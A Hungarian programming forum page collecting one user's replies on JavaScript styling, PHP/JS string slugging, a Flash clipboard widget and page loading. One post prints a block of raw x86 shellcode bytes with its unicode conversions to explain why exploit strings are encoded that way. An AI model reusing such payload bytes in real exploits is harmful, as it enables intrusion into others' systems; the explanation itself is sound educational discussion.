Új hozzászólás Aktív témák

• #1781 ArchElf addikt shev7 #1780

  Új Válasz 2010-07-14 16:02:28 #1781

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz shev7 #1780 üzenetére

  őőő, inkább csak quote nélkül?
  document.getElementById(id).style.color="#FFFFFF";

  AE

• #1752 ArchElf addikt Speeedfire #1749

  Új Válasz 2010-07-09 16:05:01 #1752

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz Speeedfire #1749 üzenetére

  php:
  - strtolower()
  - while(?) + str_replace(array_áéíóöőúüű, array_aeiooouuu, $str)
  - while(?) + preg_replace('/[\W]+/', '-', $str)
  lehet, hogy még a while-ok sem kellenek...

  Ehh, most látom csak, hogy PHP alatt menne, de kliens oldalon kellene... Végül is mindegy, a fentieknek megvan a JavaScript megfelelőjük... js+regex

  AE

• #1549 ArchElf addikt Sk8erPeter #1548

  Új Válasz 2010-01-08 16:05:02 #1549

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz Sk8erPeter #1548 üzenetére

  Szerintem a hivatkozásokat PHP-vel generálják adatbázis ID alapján (valószínűleg a kódnak mint mondjuk memo elemnek ez a rekord id-ja). A vágólaphoz meg úgy fér hozzá, hogy a flash már nem a böngésző jogaival/korlátozásaival fut, hanem az azt futtató java/activex környezet jogaival.

  Amúgy a highlighter flash akár működőképes lehet a te oldaladon is, legalábbis ha a távoli hivatkozást engedi az adott fájlra a szerverük (vagy letöltöd hozzád és használod, de az ugye már jogsértő).

  AE

• #1547 ArchElf addikt sonar #1541

  Új Válasz 2010-01-07 13:55:01 #1547

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz sonar #1541 üzenetére

  Szerintem azért van értelme így megjeleníteni, mert ha a hagyományos shellcode-ot konvertálád string-gé, akkor a shellcode-odatat teleszórná nullával (a memóriában az unicode operációs rendszer /illetve unicode program az ascii szöveget úgyis unicode formában tárolja, hacsak nem kényszeríted ki explicite a más módon való tárolást):
  Eredeti shellcode:
  \x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\x95
  \xD6\x79\x80\x83\xEB\xFC\xE2\xF4\x69\x3E\x3D\x80\x95\xD6\xF2\xC5
  \xA9\x5D\x05\x85\xED\xD7\x96\x0B\xDA\xCE\xF2\xDF\xB5\xD7\x92\xC9
  \x1E\xE2\xF2\x81\x7B\xE7\xB9\x19\x39\x52\xB9\xF4\x92\x17\xB3\x8D
  \x94\x14\x92\x74\xAE\x82\x5D\x84\xE0\x33\xF2\xDF\xB1\xD7\x92\xE6
  \x1E\xDA\x32\x0B\xCA\xCA\x78\x6B\x1E\xCA\xF2\x81\x7E\x5F\x25\xA4
  \x91\x15\x48\x40\xF1\x5D\x39\xB0\x10\x16\x01\x8C\x1E\x96\x75\x0B
  \xE5\xCA\xD4\x0B\xFD\xDE\x92\x89\x1E\x56\xC9\x80\x95\xD6\xF2\xE8
  \xA9\x89\x48\x76\xF5\x80\xF0\x78\x16\x16\x02\xD0\xFD\x26\xF3\x84
  \xCA\xBE\xE1\x7E\x1F\xD8\x2E\x7F\x72\xB5\x18\xEC\xF6\xD6\x79\x80
  
  Eredeti shellcode, unicode értelmezése:
  \x3100\x4302\xFDFF\xFDFF
  \x2400\xFDFF\x5B00\xFDFF
  \x7900\xFDFF\xFDFF\xFDFF
  \x3E00\x3D00\xFDFF\xFDFF
  \x0500\xFDFF\xFDFF\xD605
  \xF507\xD205\xFDFF\x1E00
  \x1900\x3900\x5200\xFDFF
  \xFDFF\x1400\xFDFF\x7400
  \xFDFF\x3300\xFDFF\xF107
  \x3200\x0B00\xFDFF\xFDFF
  \xFDFF\x7E00\x5F00\x2500
  \x4000\xFDFF\x5D00\x3900
  \xFDFF\x1E00\xFDFF\x7500
  \x0B00\xFDFF\x9207\xFDFF
  \xFDFF\xFDFF\x498A\x4800
  \x7800\x1600\x1600\x0200
  \xBE02\xFDFF\x7E00\x1F00
  
  Eredeti shellcode, unicode blokkokban:
  \x31C9\x83E9\xDED9\xEED9
  \xD679\x8083\xEBFC\xE2F4
  \xA95D\x0585\xEDD7\x960B
  \x1EE2\xF281\x7BE7\xB919
  \x9414\x9274\xAE82\x5D84
  \x1EDA\x320B\xCACA\x786B
  \x9115\x4840\xF15D\x39B0
  \xE5CA\xD40B\xFDDE\x9289
  \xA989\x4876\xF580\xF078
  \xCABE\xE17E\x1FD8\x2E7F

  AE

• #1546 ArchElf addikt Sk8erPeter #1545

  Új Válasz 2010-01-07 13:14:33 #1546

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz Sk8erPeter #1545 üzenetére

  Nekem nagyon Flash-nek tűnik:

  <div class="item copyToClipboard"><embed id="highlighter_812837_clipboard" type="application/x-shockwave-flash" title="copy to clipboard" allowscriptaccess="always" wmode="transparent" flashvars="highlighterId=highlighter_812837" menu="false" src="http://www.coders.me/wp-content/plugins/syntaxhighlighter/syntaxhighlighter/scripts/clipboard.swf" height="16" width="16"></div>

  AE

• #1540 ArchElf addikt sonar #1538

  Új Válasz 2009-12-31 23:14:23 #1540

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz sonar #1538 üzenetére

  Shellcode
  Remélem az angol nem gond

  AE

• #1384 ArchElf addikt tomatoma #1383

  Új Válasz 2009-06-22 01:56:08 #1384

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  ArchElf

  addikt

  válasz tomatoma #1383 üzenetére

  A zenelejátszós IFrame-et ki is húzhatod az ablakból és akkor nem is zavar.
  Ha pedig az oldalbetöltődés a gond (villogás, rendeződés meg ilyesmi), akkor alapból eltüntetve (display:none;) kell az oldalt betölteni, és az onload()-ban megjeleníteni. Esetleg a betöltés alatt berakhatsz egy gyorsan betöltődő DIV-et előre, hogy azért történik valami - ez meg eltünteted az onload()-ban.

  AE

Új hozzászólás Aktív témák